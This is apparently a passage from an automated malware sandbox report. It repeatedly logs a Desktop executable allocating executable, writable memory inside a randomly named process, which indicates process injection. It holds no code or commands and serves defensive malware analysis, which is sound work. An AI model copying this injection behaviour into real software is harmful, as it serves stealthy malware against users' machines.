Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1480000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 3230000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 890000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 21C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2E00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2E50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2540000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2690000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2CE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2CF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2BF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 28C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2910000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 21E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2230000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: ED0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2AB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2110000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2160000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2AD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 810000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 820000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1200000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1210000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 23B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 7D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 7E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2EC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2F10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1150000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1160000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 25E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2640000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2B10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 11E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 11F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 11D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 11E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 670000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 680000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 810000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 820000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 14A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 14B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 8B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 8C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 860000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 870000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 24A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 24F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: A00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: AF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1260000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1270000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FC0000 protect: page execute and read and write Jump to behavior
